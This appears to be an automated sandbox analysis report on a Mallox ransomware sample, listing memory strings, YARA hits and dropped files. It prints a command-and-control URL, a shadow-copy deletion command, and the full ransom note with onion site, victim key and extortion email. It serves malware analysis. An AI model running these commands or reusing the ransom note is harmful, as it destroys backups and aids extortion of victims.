Source: Ransomware Mallox.exe, 00000000.00000003.1511802024.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1521991452.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1535009034.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1515993832.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1505219295.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1509849904.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1507859258.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1508435716.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1512198939.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1507580206.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.php7xM
Source: Ransomware Mallox.exe	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpContent-Type:
Source: Ransomware Mallox.exe, 00000000.00000003.1548290712.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1948626824.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1546299993.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1696834790.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1535009034.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1699524403.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1542067078.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1545040056.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1928997675.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1547580317.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1551313529.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1692939049.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1537894611.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1559096802.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1700357889.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1979510307.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1558037196.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1930536289.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1549649553.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1811590111.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1976418160.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpNxw
Source: Ransomware Mallox.exe, 00000000.00000003.1495367476.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1490580877.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1487434442.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1503545999.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1487048074.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1489751960.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1494233966.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1496750386.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1491235259.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpkxh
Source: Ransomware Mallox.exe, 00000000.00000003.1521991452.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpkz
Source: Ransomware Mallox.exe, 00000000.00000003.1546376683.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1537835548.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1557947339.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1540574771.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1545983166.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phplencoded
Source: Ransomware Mallox.exe, 00000000.00000003.1495367476.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1490580877.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1487434442.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1503545999.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1487048074.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1489751960.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1494233966.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1496750386.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1491235259.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phppxM
Source: Ransomware Mallox.exe, 00000000.00000003.1546376683.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1517525405.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1537835548.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1558677864.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1557947339.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1540574771.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1525372800.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1531166316.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1545983166.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1533218205.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1516802551.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1522125993.0000023CAFF0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpwshqos.dll7
Source: Ransomware Mallox.exe, 00000000.00000003.1548290712.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1546299993.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1535009034.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1542067078.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1545040056.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1547580317.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1551313529.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1537894611.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1559096802.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1558037196.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1549649553.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpyxZ
Source: Ransomware Mallox.exe, 00000000.00000003.1455252517.0000023CAFEA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/ows
Source: Ransomware Mallox.exe, 00000000.00000003.1735001126.0000023CADEA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org
Source: Ransomware Mallox.exe, 00000000.00000003.1548290712.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1495367476.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1511802024.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1948626824.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1546299993.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1696834790.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1521991452.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1535009034.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1699524403.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1490580877.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1542067078.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1487434442.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1503545999.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1545040056.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1928997675.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1547580317.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1551313529.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1515993832.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1692939049.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1505219295.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1509849904.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/
Source: Ransomware Mallox.exe, 00000000.00000003.1435423549.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/?
Source: Ransomware Mallox.exe, 00000000.00000003.1735001126.0000023CADEA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.orga
Source: Ransomware Mallox.exe	String found in binary or memory: http://api.ipify.orgx32x64%s
Source: Ransomware Mallox.exe, 00000000.00000003.1460333489.0000023CAFF69000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1478330265.0000023CAFF31000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1515736964.0000023CAFF28000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1518812177.0000023CAFE76000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1516446126.0000023CAFF2F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1514485603.0000023CAFE88000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1517731549.0000023CAFE7E000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1478506610.0000023CAFF3B000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1536625865.0000023CAFF3B000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1546376683.0000023CAFF30000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1546792697.0000023CAFF3B000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1514485603.0000023CAFE80000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1518812177.0000023CAFE7E000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1504591726.0000023CAFF2F000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1491535677.0000023CAFF2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer
Source: Ransomware Mallox.exe, HOW TO BACK FILES.txt571.0.dr, HOW TO BACK FILES.txt661.0.dr, HOW TO BACK FILES.txt5.0.dr, HOW TO BACK FILES.txt13.0.dr, HOW TO BACK FILES.txt624.0.dr, HOW TO BACK FILES.txt317.0.dr, HOW TO BACK FILES.txt323.0.dr, HOW TO BACK FILES.txt50.0.dr, HOW TO BACK FILES.txt366.0.dr, HOW TO BACK FILES.txt169.0.dr, HOW TO BACK FILES.txt413.0.dr, HOW TO BACK FILES.txt370.0.dr, HOW TO BACK FILES.txt307.0.dr, HOW TO BACK FILES.txt369.0.dr, HOW TO BACK FILES.txt773.0.dr, HOW TO BACK FILES.txt98.0.dr, HOW TO BACK FILES.txt714.0.dr, HOW TO BACK FILES.txt757.0.dr, HOW TO BACK FILES.txt65.0.dr, HOW TO BACK FILES.txt186.0.dr	String found in binary or memory: https://www.torproject.org/download/

Source: Ransomware Mallox.exe, 00000000.00000003.1774269029.0000023CB00B8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: _WCE47~1.AU3_WinAPI_RegisterRawInputDevices.au3

memstr_652a96a8-8

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\SystemAppData\HOW TO BACK FILES.txt

Dropped file: HelloYour files are encrypted and can not be usedWe have downloaded your confidential data and are ready to publish it on our blogTo return your files in work condition you need decryption toolFollow the instructions to decrypt all your dataDo not try to change or restore files yourself, this will break themIf you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MBHow to get decryption tool:1) Download and install TOR browser by this link: https://www.torproject.org/download/2) If TOR blocked in your country and you can't access to the link then use any VPN software3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin4) Copy your private ID in the input field. Your Private key: 9012E04F2C4927607FA56A905) You will see payment information and we can make free test decryption here6)After payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youOur blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionIf you are unable to contact us through the site, then you can email us: mallox.resurrection@onionmail.orgWaiting for a response via mail can be several days. Do not use it if you have not tried contacting through the site.

Jump to dropped file

Yara detected RansomwareGeneric

Source: Yara match

File source: Process Memory Space: Ransomware Mallox.exe PID: 7740, type: MEMORYSTR

Yara detected Targeted Ransomware

Source: Yara match

File source: Process Memory Space: Ransomware Mallox.exe PID: 7740, type: MEMORYSTR

Deletes shadow drive data (may be related to ransomware)

Source: Ransomware Mallox.exe, 00000000.00000000.1372372560.00007FF67EBA7000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: \sysnative\vssadmin.exe delete shadows /all /quietopenSOFTWARE\RaccineSYSTEM\CurrentControlSet\Services\EventLog\Application\RaccineSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vssadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcdedit.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskshadow.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exeAES-128-ECBAES-192-ECBAES-256-ECBAES-128-CBCAES-192-CBCAES-256-CBCAES-128-CFB128AES-192-CFB128AES-256-CFB128AES-128-OFBAES-192-OFBAES-256-OFBAES-128-CTRAES-192-CTRAES-256-CTRAES-128-XTSAES-256-XTSAES-128-GCMAES-192-GCMAES-256-GCMAES-128-CCMAES-192-CCMAES-256-CCMAES-128-CCM-NO-TAGAES-192-CCM-NO-TAGAES-256-CCM-NO-TAGCAMELLIA-128-ECBCAMELLIA-192-ECBCAMELLIA-256-ECBCAMELLIA-128-CBCCAMELLIA-192-CBCCAMELLIA-256-CBCCAMELLIA-128-CFB128CAMELLIA-192-CFB128CAMELLIA-256-CFB128CAMELLIA-128-CTRCAMELLIA-192-CTRCAMELLIA-256-CTRCAMELLIA-128-GCMCAMELLIA-192-GCMCAMELLIA-256-GCMCAMELLIA-128-CCMCAMELLIA-192-CCMCAMELLIA-256-CCMCAMELLIA-128-CCM-NO-TAGCAMELLIA-192-CCM-NO-TAGCAMELLIA-256-CCM-NO-TAGARIA-128-ECBARIA-192-ECBARIA-256-ECBARIA-128-CBCARIA-192-CBCARIA-256-CBCARIA-128-CFB128ARIA-192-CFB128ARIA-256-CFB128ARIA-128-CTRARIA-192-CTRARIA-256-CTRARIA-128-GCMARIA-192-GCMARIA-256-GCMARIA-128-CCMARIA-192-CCMARIA-256-CCMARIA-128-CCM-NO-TAGARIA-192-CCM-NO-TAGARIA-256-CCM*-NO-TAGDES-ECBDES-CBCDES-EDE-ECBDES-EDE-CBCDES-EDE3-ECBDES-EDE3-CBCCHACHA20CHACHA20-POLY1305AES-128-KWAES-192-KWAES-256-KWAES-128-KWPAES-192-KWPAES-256-KWPMD5RIPEMD160SHA1SHA224SHA256SHA384SHA512
Source: Ransomware Mallox.exe	Binary or memory string: \sysnative\vssadmin.exe delete shadows /all /quietopenSOFTWARE\RaccineSYSTEM\CurrentControlSet\Services\EventLog\Application\RaccineSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vssadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcdedit.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskshadow.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exeAES-128-ECBAES-192-ECBAES-256-ECBAES-128-CBCAES-192-CBCAES-256-CBCAES-128-CFB128AES-192-CFB128AES-256-CFB128AES-128-OFBAES-192-OFBAES-256-OFBAES-128-CTRAES-192-CTRAES-256-CTRAES-128-XTSAES-256-XTSAES-128-GCMAES-192-GCMAES-256-GCMAES-128-CCMAES-192-CCMAES-256-CCMAES-128-CCM-NO-TAGAES-192-CCM-NO-TAGAES-256-CCM-NO-TAGCAMELLIA-128-ECBCAMELLIA-192-ECBCAMELLIA-256-ECBCAMELLIA-128-CBCCAMELLIA-192-CBCCAMELLIA-256-CBCCAMELLIA-128-CFB128CAMELLIA-192-CFB128CAMELLIA-256-CFB128CAMELLIA-128-CTRCAMELLIA-192-CTRCAMELLIA-256-CTRCAMELLIA-128-GCMCAMELLIA-192-GCMCAMELLIA-256-GCMCAMELLIA-128-CCMCAMELLIA-192-CCMCAMELLIA-256-CCMCAMELLIA-128-CCM-NO-TAGCAMELLIA-192-CCM-NO-TAGCAMELLIA-256-CCM-NO-TAGARIA-128-ECBARIA-192-ECBARIA-256-ECBARIA-128-CBCARIA-192-CBCARIA-256-CBCARIA-128-CFB128ARIA-192-CFB128ARIA-256-CFB128ARIA-128-CTRARIA-192-CTRARIA-256-CTRARIA-128-GCMARIA-192-GCMARIA-256-GCMARIA-128-CCMARIA-192-CCMARIA-256-CCMARIA-128-CCM-NO-TAGARIA-192-CCM-NO-TAGARIA-256-CCM*-NO-TAGDES-ECBDES-CBCDES-EDE-ECBDES-EDE-CBCDES-EDE3-ECBDES-EDE3-CBCCHACHA20CHACHA20-POLY1305AES-128-KWAES-192-KWAES-256-KWAES-128-KWPAES-192-KWPAES-256-KWPMD5RIPEMD160SHA1SHA224SHA256SHA384SHA512

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\SystemAppData\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 9012e04f2c4927607fa56a905) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\Settings\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 9012e04f2c4927607fa56a905) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RoamingState\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 9012e04f2c4927607fa56a905) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\LocalState\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 9012e04f2c4927607fa56a905) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\LocalCache\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 9012e04f2c4927607fa56a905) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\AC\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 9012e04f2c4927607fa56a905) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\AC\Temp\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 9012e04f2c4927607fa56a905) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta	Jump to dropped file
